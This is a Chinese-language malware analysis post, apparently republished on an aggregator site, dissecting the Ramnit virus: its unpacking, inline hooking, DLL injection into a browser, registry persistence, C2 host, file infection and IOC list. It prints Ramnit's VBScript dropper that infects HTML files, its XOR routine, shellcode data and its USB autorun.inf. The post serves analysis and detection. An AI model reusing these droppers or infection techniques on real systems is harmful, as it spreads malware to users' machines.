Ramnit病毒分析

这篇具有很好参考价值的文章主要介绍了Ramnit病毒分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

概述

Ramnit病毒是一个相对古老的病毒,使用会感染系统内的exe和html文件,通过文件分发和U盘传播。

样本的基本信息

Verified:	Unsigned
Link date:	19:02 2008/2/12
Company:	SOFTWIN S.R.L.
Description:	BitDefender Management Console
MachineType:	32-bit
MD5:	FF5E1F27193CE51EEC318714EF038BEF
SHA1:	B4FA74A6F4DAB3A7BA702B6C8C129F889DB32CA6

脱壳

这个样本有三层壳

第一层壳

使用PEiD查壳之后,发现加了一层upx壳
Ramnit病毒分析,恶意代码分析
使用od载入,看到pushad,F8单步执行后,在ESP在值进行内存窗口跟随,设置硬件访问断点
Ramnit病毒分析,恶意代码分析
F9继续,找到popad指令,删除硬件断点,F4执行到0042C1BB,F7进入
Ramnit病毒分析,恶意代码分析

第二层壳

脱掉第一层UPX层之后,发现又一层壳

在VirtualAlloc处设置断点(此处借鉴了《加密与解密》第19章的内容)
F9断下来,发现分配了一个F000大小的缓冲区,Ctrl+F9执行到VirutalAlloc尾部,F8返回用户空间
Ramnit病毒分析,恶意代码分析
Ctrl+F9,等待一段时间后(这个解密操作比较耗时),程序断在0040746D处,此时的栈顶为00932CA9,这个地址在刚才分配的内存段内,要进入解密后的代码执行了,F7进入
Ramnit病毒分析,恶意代码分析
Ctrl+F9,等待一段时间,又解密了一段代码,程序断在009322AF处,此时栈顶是ZwFreeVirtualMemory,调用这个函数来释放刚才分配的内存,然后进入地址00411390执行(这是用户空间)
Ramnit病毒分析,恶意代码分析
F7进入ZwFreeVirtualMemory,Ctrl+F9,F7进入00411390,发现了熟悉的pushad
Ramnit病毒分析,恶意代码分析

第三层壳

第三层是upx壳
使用脱第一层壳的办法,设置硬件断点,最后跳到程序OEP
Ramnit病毒分析,恶意代码分析
使用Ollydump脱壳
Ramnit病毒分析,恶意代码分析
Ramnit病毒分析,恶意代码分析

注入部分

脱壳后的dump文件的基本信息

Verified:	Unsigned
Link date:	23:35 2010/7/18
MachineType:	32-bit
MD5:	B3907AD34288854E26703E00BB835BC5

主函数

使用IDA Pro打开,主函数如下图所示。
Ramnit病毒分析,恶意代码分析

首先从注册表中获取系统默认浏览器的路径
Ramnit病毒分析,恶意代码分析

从注册表 HKEY_CLASSES_ROOT\http\shell\open\command 获取系统默认浏览器的路径,若该程序不存在的话,读取%ProgramFiles%\Internet Explorer\iexplore.exe来作为默认浏览器

创建名为KyUffThOkYwRRtgPP的互斥量,若存在同名的互斥量,关闭这个互斥量,退出。若新建互斥量成功,执行下面的操作。

获取当前文件的路径

CopySelfAndExec_402B89:若当前文件在可移动存储介质上 或 文件名为不为DesktopLayer.exe,在下面这些目录中找一个可写的目录,将自己拷贝过去,命名为DesktopLayer.exe,调用CreateProcess执行,然后退出

%CommonProgramFiles%\Microsoft\
%HOMEDRIVE%%HOMEPATH%\Microsoft\
%APPDATA%\Microsoft\
C:\Windows\System32\Microsoft\
C:\Windows\Microsoft\
%temp%\Microsoft\
%ProgramFiles%\Microsoft\

若当前文件不在U盘中且名为DesktopLayer.exe时,继续
GetAPIAddress_401848函数: 获取下面这些API的地址,给shellcode用

LdrLoadDll
LdrGetDllHandle
LdrGetProcedureAddress
RtlInitUnicodeString
RtlUnicodeStringToAnsiString
RtlFreeAnsiString
RtlInitString
RtlAnsiStringToUnicodeString
RtlFreeUnicodeString
ZwProtectVirtualMemory
RtlCreateUserThread
ZwFreeVirtualMemory
ZwDelayExecution
ZwQueryInformationProcess

之后 Hook ZwWriteVirtualMemory
调用CreateProcess打开默认浏览器或IE,这是一个傀儡进程,会被注入一个dll,后面会讲到
然后取消对ZwWriteVirtualMemory的hook

hook部分

下面分析一下hook的过程
首先挂起当前进程中除了主线程之外的其它线程,这是为保证线程安全
使用inlineHOOK的方式hook ZwWriteVirtualMemory函数
最后激活前面挂起的线程
Ramnit病毒分析,恶意代码分析

inlineHOOK部分

首先使用GetProcAddress从ntdll.dll中获取ZwWriteVirtualMemory函数的地址
Ramnit病毒分析,恶意代码分析

调用VirtualProtect修改内存访问权,将ZwWriteVirtualMemory地址的前10个字节访问权限修改为PAGE_EXECUTE_READWRITE

先创建一个跳板函数,用来实现原来函数的功能,因为后面要修改函数头5个字节:
获取从ZwWriteVirtualMemory地址开始至少5个字节的一段完整指令(因为不能把一条指令从中间截断),假设其大小为n(n>=5)
分配n+10大小的缓存区,假设地址为buf,用于构造跳板函数
将下面的内存拷贝到这段内存中,前5个字节在unhook中使用(unhook就是把这n个字节再拷贝回去)

ZwWriteVirtualMemory地址 4个字节 
提取的ZwWriteVirtualMemory头部的指令长度n  1个字节
提取的ZwWriteVirtualMemory头部的指令   n个字节
JMP 0xE9  1个字节
偏移量 4个字节 

上面这个偏移量是这样计算的

函数地址 + n - (buf + 5 + n + 5) = 函数地址 -  buf - 10

buf+5为跳板函数的地址,跳板函数用于实现原来函数的功能

修改ZwWriteVirtualMemory地址的前5个字节,修改为

JMP 0xE9  1个字节
偏移量 4个字节 NewZwWriteVirtualMemory_402A59-(ZwWriteVirtualMemory的地址 + 5) 

这样调用ZwWriteVirtualMemory,首先就jmp到NewZwWriteVirtualMemory_402A59处执行

要想使用原来函数的功能,使用跳板函数

下面分析一下这个NewZwWriteVirtualMemory_402A59函数
Ramnit病毒分析,恶意代码分析
该函数首先调用跳板函数实现ZwWriteVirtualMemory的功能
获取浏览器进程的AddressOfEntryPoint
在目标进程空间中加载一个dll(拷贝PE头,各节)
向目标进程空间拷贝一段shellcode和传给shellcode参数
将下面这段指令拷贝到浏览器进程入口处,共计12个字节,这样浏览器进程启动就会执行这段shellcode

0xBF shellcode   mov     edi, shellcode ; 5个字节
0x68 param       push    param          ; 5个字节
ff d7            call    edi            ; 2个字节

下面分析一下这段shellcode(va为0x401F5D)
Ramnit病毒分析,恶意代码分析
这段shellcode的功能是加载上面注入的dll
首先加载dll所需的导入表,建立IAT表
然后遍历dll的节表,修改节的属性
最后执行dll的入口函数,并传入病毒的文件路径
调用ZwDelayExecution sleep(0x8000000000000000 ns),差不多一直等下去

下面分析这个dll的功能

dll部分

这个dll是内嵌在第一部分中的,rva为0x404031,文件偏移为0x4031,大小为0x9800
将其提取出来
样本的基本信息

Verified:	Unsigned
Link date:	23:35 2010/7/18
MachineType:	32-bit
MD5:	651DEFC532F0E72BE60621696AA97972
SHA1:	43176A96322202FC8FD8901C213FDE820D005871

当加载dll时执行下面的逻辑
Ramnit病毒分析,恶意代码分析
首先创建名为 KyUffThOkYwRRtgPP 的互斥量,防止双开

Init_10007B0A 执行一些初始化的工作,包括
初始化winsock库,解密字符串,获取系统驱动器、版本和时区信息,读取complete.dat文件,读取dlmconf.dat文件,将感染时间写入dlmconf.dat

complete.dat 里面存储一个列表,功能未知
dlmconf.dat 里面存储了三个时间,每次运行会更新第一个时间

Ramnit病毒分析,恶意代码分析

创建了几个线程

线程SetAutoRun_10007ACA设置开机启动项,将DesktopLayer.exe文件路径链接到 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit的值后面(已存在,就不用),实现开机自启动,间隙1s检查一次
Ramnit病毒分析,恶意代码分析

线程TestConnectState_10007626作用是测试网络的连通性,会尝试连接google.com:80或bing.com:80或yahoo.com:80
Ramnit病毒分析,恶意代码分析

线程SaveTime_1000781F 把这三个全局变量SystemTimeAsFileTime dword_1000A237 dword_1000A233写入文件 dmlconf.dat中 dmlconf.dat 死循环 间隔1分钟

Thread_10005906 监听本地的4678端口,用于处理控制端的连接,应该是一个后门,这段代码不会执行
Ramnit病毒分析,恶意代码分析

线程Thread_1000790C 向后台发送数据 fget-career.com 443并接收响应
没有分析清楚

Infect_1000749F 用于感染系统内的exe、html文件,在U盘创建autorun.inf方式感染

最后是一个死循环,间隔1s检查一下病毒母体是否存在,不存在的话,会一直循环下去,存在,跳出

下面重点分析一下感染部分

感染部分

进入Infect_1000749F
Ramnit病毒分析,恶意代码分析
设置注册表HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0

获取自系统启动以来的毫秒数,保存在一个全局变量中,这个用于后面生成随机数

从Imagehlp.dll中获取CheckSumMappedFile函数的地址,后面用于重新计算PE的checksum

Ramnit病毒分析,恶意代码分析

读取病毒本体的内容,把PE的内容变成字符串,嵌入到一段VBScript脚本中,这段代码用于后续感染html文件
这个vbs的功能是在%temp%文件夹下释放并启动病毒母体,文件名为svchost.exe

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A...."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

生成一段0x14=20长度的随机的字节,采用异或的方式加密文件内容
加解密的函数是同一个

// 加密或解密
void __stdcall XorData_10001D70(_BYTE *data, int data_size, int key, int key_size)
{
  int v4; // ecx
  int i; // edx

  if ( data_size && key_size )
  {
    v4 = data_size;
    i = 0;
    do
    {
      if ( !i )
        i = key_size - 1;
      *data++ ^= *(_BYTE *)(i + key);
      --i;
      --v4;
    }
    while ( v4 );
  }
}

接着创建了两个线程,用于感染感染固定驱动器或可移动存储介质
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qURrPcJl-1687662058360)(https://gitee.com/wlj2016/img_bed/raw/master/202306241017545.png)]

下面重点分析一个这两个线程

InfectDrives_10006EA8

线程的主体是个死循环
Ramnit病毒分析,恶意代码分析

进入函数InfectDrives_100064E1,首先获取windows和system32路径,感染时会跳过这两个路径
遍历系统驱动器,若当前驱动器剩余大小大于512KB且固定驱动器或可移动存储介质,执行感染
Ramnit病毒分析,恶意代码分析

进入函数InfectDir_10006377,递归遍历目录,跳过%windir%\system32、%windir%、名为RMNetwork目录,感染exe或html文件
Ramnit病毒分析,恶意代码分析

进入InfectExeAndHtml_1000630C
通过文件后缀名来判断exe和html文件,执行感染
Ramnit病毒分析,恶意代码分析

感染html文件

InfectHtml_10006AB2比较简单,若html文件大小大于9个字节,且最后9个字节不为</SCRIPT>,将前面构造好的vbs代码添加了html文件末尾
Ramnit病毒分析,恶意代码分析

被感染的html文件
Ramnit病毒分析,恶意代码分析

感染exe文件

首先打开要感染的exe目标文件,获取文件大小,若不是32位PE程序,或存在属性证书和CLR信息,跳过不感染
Ramnit病毒分析,恶意代码分析
从PE的导入表中获取LoadLibraryA和GetProcAddress的IAT表项的va,(PE加载会填充IAT,从这儿获取API的地址)
计算shellcode的大小,0x1000749F-0x10006F2C=0x573
计算rmnet节的大小 病毒母体的大小+ shellcode的大小
修改PE头部,在节表最后,添加了一个名为rmnet的节,该节的位置在文件最末尾,将PE的OEP修改为rmnet节的起始位置
计算新的OEP和老的OEP的偏移(shellcode中使用,shellcode最终跳到老的OEP处执行)
计算LoadLibraryA和GetProcAddress的IAT表项与新的OEP的偏移(shellcode中使用,shellcode要从IAT中读取这两个API的地址)
把Shellcode和加密后的病毒自身依次写入rmnet节,
Ramnit病毒分析,恶意代码分析

若原来PE的checksum不为0,重新计算PE文件的checksum
Ramnit病毒分析,恶意代码分析

下面分析一下shellcode
shellcode的起始位置的VA为10006F2C,大小为0x573,分为代码部分和数据部分
首先获取OEP的地址,获取LoadLibraryA和GetProcAddress的地址,将这三个地址保存在数据部分
Ramnit病毒分析,恶意代码分析

使用LoadLibraryA获得kernel32.dll的句柄,进而使用GetProcAddres获取下列这些API的地址

FreeLibrary
CreateMutexA
ReleaseMutex
CloseHandle
GetLastError
CreateFileA
WriteFile
GetModuleFileNameA
CreateProcessA

Ramnit病毒分析,恶意代码分析

创建名为KyUffThOkYwRRtgPP的互斥量,然后关闭该互斥量对象
若存在同名的互斥量,将其关闭,退出
Ramnit病毒分析,恶意代码分析

对病毒本体进行解密,密钥为先前加密使用的20字节的随机值
Ramnit病毒分析,恶意代码分析

获取当前程序的路径,去掉后缀加上Srv.exe,构造一个新的文件名(病毒母体的文件名)

FileName = FileName[:FileName.rfind(".")]+"Srv.exe"

Ramnit病毒分析,恶意代码分析

释放病毒母体
Ramnit病毒分析,恶意代码分析

调用CreateProcess,启动病毒进程
Ramnit病毒分析,恶意代码分析

最后是释放kernel32.dll的句柄,跳转到原始PE的OEP处执行
Ramnit病毒分析,恶意代码分析

最后是shellcode的数据部分,保存着一些字符串和全局变量(读取gOldEntryPointOffset值可以还原原始文件的OEP,修复被感染的PE)

.text:10007248 lpNumberOfBytesWritten_10007248 dd 0    ; DATA XREF: ShellCode_10006F2C+27C↑o
.text:1000724C EntryPoint_1000724C dd 0                ; DATA XREF: ShellCode_10006F2C+15↑w
.text:1000724C                                         ; ShellCode_10006F2C+2B↑r ...
.text:10007250 dword_10007250  dd 6                    ; DATA XREF: ShellCode_10006F2C+F↑r
.text:10007254 gOldEntryPointOffset_10007254 dd 0      ; DATA XREF: InfectExeFile_1000678B+142↑w
.text:10007254                                         ; ShellCode_10006F2C+30F↑r
.text:10007258 ; HMODULE __stdcall LoadLibraryA_IAT_10007258(LPCSTR lpLibFileName)
.text:10007258 LoadLibraryA_IAT_10007258 dd 0          ; DATA XREF: InfectExeFile_1000678B+DB↑w
.text:10007258                                         ; InfectExeFile_1000678B+153↑r ...
.text:1000725C GetProcAddress_IAT_1000725C dd 0        ; DATA XREF: InfectExeFile_1000678B+F9↑w
.text:1000725C                                         ; InfectExeFile_1000678B+161↑r ...
.text:10007260 gEncodeKeySize_10007260 dd 14h          ; DATA XREF: ShellCode_10006F2C+205↑r
.text:10007260                                         ; Infect_1000749F+F7↓r ...
.text:10007264 ; char gEncodeKey_10007264[]
.text:10007264 gEncodeKey_10007264 db 0                ; DATA XREF: ShellCode_10006F2C:loc_10007138↑r
.text:10007264                                         ; Infect_1000749F+FD↓o ...
.text:10007265                 align 4
.text:10007268                 dd 4 dup(0)
.text:10007278 aKyuffthokywrrt_0 db 'KyUffThOkYwRRtgPP',0
.text:10007278                                         ; DATA XREF: ShellCode_10006F2C+1BB↑o
.text:1000728A aSrvExe         db 'Srv.exe',0          ; DATA XREF: ShellCode_10006F2C+242↑o
.text:10007292 FileName_10007292 dw 0                  ; DATA XREF: ShellCode_10006F2C+220↑o
.text:10007292                                         ; ShellCode_10006F2C+231↑o ...
.text:10007294                 dd 3Fh dup(0)
.text:10007390                 db 2 dup(0)
.text:10007392 lpStartupInfo_10007392 dw 0             ; DATA XREF: ShellCode_10006F2C+2A4↑o
.text:10007392                                         ; ShellCode_10006F2C+2C4↑o
.text:10007394                 dd 10h dup(0)
.text:100073D4                 db 2 dup(0)
.text:100073D6 lpProcessInformation_100073D6 dw 0      ; DATA XREF: ShellCode_10006F2C+2B3↑o
.text:100073D6                                         ; ShellCode_10006F2C+2BD↑o ...
.text:100073D8                 dd 3 dup(0)
.text:100073E4                 db 2 dup(0)
.text:100073E6 hKernel32_100073E6 dd 0                 ; DATA XREF: ShellCode_10006F2C+83↑w
.text:100073E6                                         ; ShellCode_10006F2C+90↑r ...
.text:100073EA LoadLibraryA_100073EA dd 0              ; DATA XREF: ShellCode_10006F2C+39↑w
.text:100073EA                                         ; ShellCode_10006F2C+60↑r ...
.text:100073EE FreeLibrary_100073EE dd 0               ; DATA XREF: ShellCode_10006F2C+A5↑w
.text:100073EE                                         ; ShellCode_10006F2C+303↑r
.text:100073F2 GetProcAddress_100073F2 dd 0            ; DATA XREF: ShellCode_10006F2C+4D↑w
.text:100073F2                                         ; ShellCode_10006F2C+53↑r ...
.text:100073F6 CreateMutexA_100073F6 dd 0              ; DATA XREF: ShellCode_10006F2C+C7↑w
.text:100073F6                                         ; ShellCode_10006F2C+1C6↑r
.text:100073FA CloseHandle_100073FA dd 0               ; DATA XREF: ShellCode_10006F2C+10B↑w
.text:100073FA                                         ; ShellCode_10006F2C+1DD↑r ...
.text:100073FE ReleaseMutex_100073FE dd 0              ; DATA XREF: ShellCode_10006F2C+E9↑w
.text:100073FE                                         ; ShellCode_10006F2C+1D7↑r
.text:10007402 ; DWORD __stdcall GetLastError_10007402()
.text:10007402 GetLastError_10007402 dd 0              ; DATA XREF: ShellCode_10006F2C+12D↑w
.text:10007402                                         ; ShellCode_10006F2C+1CD↑r
.text:10007406 ; HANDLE __stdcall CreateFileA_10007406(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
.text:10007406 CreateFileA_10007406 dd 0               ; DATA XREF: ShellCode_10006F2C+14F↑w
.text:10007406                                         ; ShellCode_10006F2C+268↑r
.text:1000740A WriteFile_1000740A dd 0                 ; DATA XREF: ShellCode_10006F2C+171↑w
.text:1000740A                                         ; ShellCode_10006F2C+292↑r
.text:1000740E GetModuleFileNameA_1000740E dd 0        ; DATA XREF: ShellCode_10006F2C+193↑w
.text:1000740E                                         ; ShellCode_10006F2C+229↑r
.text:10007412 ; BOOL __stdcall CreateProcessA_10007412(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
.text:10007412 CreateProcessA_10007412 dd 0            ; DATA XREF: ShellCode_10006F2C+1B5↑w
.text:10007412                                         ; ShellCode_10006F2C+2E0↑r
.text:10007416 aFreelibrary    db 'FreeLibrary',0      ; DATA XREF: ShellCode_10006F2C+89↑o
.text:10007422 aCreatemutexa   db 'CreateMutexA',0     ; DATA XREF: ShellCode_10006F2C+AB↑o
.text:1000742F aClosehandle    db 'CloseHandle',0      ; DATA XREF: ShellCode_10006F2C+EF↑o
.text:1000743B aReleasemutex   db 'ReleaseMutex',0     ; DATA XREF: ShellCode_10006F2C+CD↑o
.text:10007448 aGetlasterror   db 'GetLastError',0     ; DATA XREF: ShellCode_10006F2C+111↑o
.text:10007455 aCreatefilea    db 'CreateFileA',0      ; DATA XREF: ShellCode_10006F2C+133↑o
.text:10007461 aWritefile      db 'WriteFile',0        ; DATA XREF: ShellCode_10006F2C+155↑o
.text:1000746B aGetmodulefilen db 'GetModuleFileNameA',0
.text:1000746B                                         ; DATA XREF: ShellCode_10006F2C+177↑o
.text:1000747E aCreateprocessa db 'CreateProcessA',0   ; DATA XREF: ShellCode_10006F2C+199↑o
.text:1000748D aKernel32Dll_1  db 'kernel32.dll',0     ; DATA XREF: ShellCode_10006F2C+6D↑o
.text:1000749A gSelfFileSize_1000749A dd 0             ; DATA XREF: InfectExeFile_1000678B+14A↑w
.text:1000749A                                         ; ShellCode_10006F2C+1EF↑r ...
.text:1000749E ; char shellcode_end_1000749E[]
.text:1000749E shellcode_end_1000749E db 1             ; DATA XREF: ShellCode_10006F2C+1D↑w
.text:1000749E                                         ; ShellCode_10006F2C+1F5↑o ...

被感染exe文件,多了一个rmnet节
Ramnit病毒分析,恶意代码分析

感染U盘

线程InfectUSB_10006EC2是用来感染U盘,遍历系统的驱动器,找到可移动存储介质
若存在autorun.inf文件,开头三个字节是否为RmN是的话表示已经被感染过,跳过
Ramnit病毒分析,恶意代码分析

进入函数InfectUSB_10006BAF,将自身保存在U盘中,路径为X:\RECYCLER\随机路径名\8位随机字符.exe,隐藏目录RECYCLER
在U盘的根目录创建一个autorun.inf文件,内容为

RmN
[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\随机路径名\8位随机字符.exe
shell\explore\command=.\RECYCLER\随机路径名\8位随机字符.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\随机路径名\8位随机字符.exe

Ramnit病毒分析,恶意代码分析

autorun.inf的图标为系统文件夹的icon
Ramnit病毒分析,恶意代码分析文章来源地址https://www.toymoban.com/news/detail-601267.html

IOC

HASH
FF5E1F27193CE51EEC318714EF038BEF
B3907AD34288854E26703E00BB835BC5
651DEFC532F0E72BE60621696AA97972

文件
DesktopLayer.exe
*Srv.exe
%temp%\svchost.exe
浏览器根目录下
dlmconf.dat
complete.dat
U盘中存在 X:\RECYCLER\随机路径名\8位随机字符.exe
autorun.inf(以RmN开头)

注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 里面有DesktopLayer.exe路径
HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0

网络
fget-career.com:443
google.com:80
bing.com:80
yahoo.com:80

感染行为
exe文件多了一个名为rmnet的节
html文件末尾 有一段VBscript脚本

进程行为
创建浏览器进程,注入一个dll,浏览器没有窗口

互斥量 
KyUffThOkYwRRtgPP

参考资料

  • 学习笔记-Ramnit 蠕虫分析
  • Ramnit感染型病毒创建傀儡进程的方法
  • 天台人满为患,不如来看下这个Ramnit蠕虫分析
  • 内核的ZwProtectVirtualMemory怎么使用, 总是失败
  • Windows系统自带图标文件存储方式、存放位置、默认图标更改及使用方法全解析
  • autorun.inf百度百科
  • Ramnit感染病毒分析报告
  • DesktopLayer.exe样本分析
  • inline hook 原理&教程
  • 说说JMP指令的跳转
  • minhook

到了这里,关于Ramnit病毒分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络防御 --- 恶意软件与反病毒详解

    恶意软件是指故意设计造成损害到计算机、服务器、客户端或计算机网络的软件(相比之下,软件由于一些缺陷导致无意的伤害通常被描述为软件错误)。恶意软件存在各种各样的类型,包括计算机病毒、蠕虫、特洛伊木马、勒索、间谍软件、广告软件、流氓软件和恐吓软件

    2024年01月25日
    浏览(26)
  • 什么是恶意代码分析中的动态分析基础技术?

    你知道如何使用动态分析基础技术来分析Lab03-01.exe文件中的恶意代码吗?Lab03-02.dll中的恶意代码如何自行安装?Lab03-03.exe的恶意代码在主机上的感染迹象是什么?Lab03-04.exe的恶意代码运行时会发生什么?动态分析为何无法有效实施?

    2024年02月06日
    浏览(48)
  • 恶意代码分析实战 3 IDA Pro

    利用IDA PRO分析Lab05-01.dll 实验目的 利用IDA Pro分析Lab05-01.dll中发现的恶意代码,回答以下问题: DLLMain的地址是什么? 可以空格转入反汇编查看DLLMain地址,或者 DLLMain的地址是.text:0x1000D02E。 使用Imports窗口并浏览到gethostbyname,导入函数定位到什么地址? 这样的三步来寻找地址

    2024年02月12日
    浏览(38)
  • 恶意代码分析实战--IDA pro的使用及课后练习l

    函数窗口 Functions window  位于左半部分 列举可执行文件中的所有函数,可以在众多函数中过滤出想要的函数。这个窗口也对每一个函数关联了一些标志(F L S等),这其中最有用的是L,指明是库函数。 字符串窗口 Strings window (Shift + F12) 显示所有的字符串,可以右键Setup来修

    2024年02月05日
    浏览(33)
  • Android端恶意代码检测学习之路——(2)静态分析(apk数据集的获取)

    上次只是搞了一个apk进行测试,那必是不得行啊!那不得需要良性以及恶意数据集吗? 在网上找了很久,没有找到合适的,况且就算找到了,不能确定到底是不是良性,所以!我决定!写一个爬虫爬取豌豆荚apk(按照排行榜来顺序下载)。 可是我不会写爬虫啊!怎么办,学

    2023年04月11日
    浏览(38)
  • 下载了恶意软件怎么办,用这个软件可以解决 Mac电脑卸载软件 MacBook查杀病毒

    随着苹果电脑在全球市场的普及,它们也日益成为恶意软件制作者的目标。这种趋势打破了许多人认为Mac系统不易受到病毒或恶意软件影响的传统观念。事实上,苹果电脑面临的恶意软件和安全威胁正在不断增多,这要求用户采取更加积极的措施来保护自己的设备和数据。下

    2024年04月15日
    浏览(53)
  • 恶意代码防范技术原理-恶意代码概述

    恶意代码 (Malicious Code):是一种 违背目标系统安全策略的程序代码 ,会造成目标系统 信息泄露、资源滥用 , 破坏系统的 完整性 及 可用性 。它能够经过存储介质或网络进行传播,从一台计算机系统传到另外一台计算机系统, 未经授权认证访问或破坏计算机系统 恶意代

    2024年02月08日
    浏览(32)
  • 恶意代码之逻辑炸弹

    目录 概念 逻辑炸弹攻击迹象 举例1 举例2  逻辑炸弹是在满足特定逻辑条件时能改变运行方式,对目标计算机系统实施破坏的计算机程序。 这种程序通常隐藏在具有正常功能的程序中,在不具备触发条件的情况下,逻辑炸弹深藏不露,系统运行情况良好,用户也察觉不到任何

    2024年02月05日
    浏览(24)
  • 熊猫烧香病毒分析

    熊猫烧香概述 熊猫烧香,是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,它不但能感染系统中 exe ,com(DOS可执行命令文件),pif(程序信息文件,), scr(屏幕保护程序),html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件

    2024年02月03日
    浏览(10)
  • 木马病毒制作及分析

    实验目的 本次实验为考核实验,需要独立设计完成一次网络攻防的综合实验。设计的实验中要包括以下几个方面内容: (1) 构建一个具有漏洞的服务器,利用漏洞对服务器进行入侵或攻击; (2) 利用网络安全工具或设备对入侵与攻击进行检测; 【 注意事项 】 1. 本病毒程序用

    2024年02月07日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包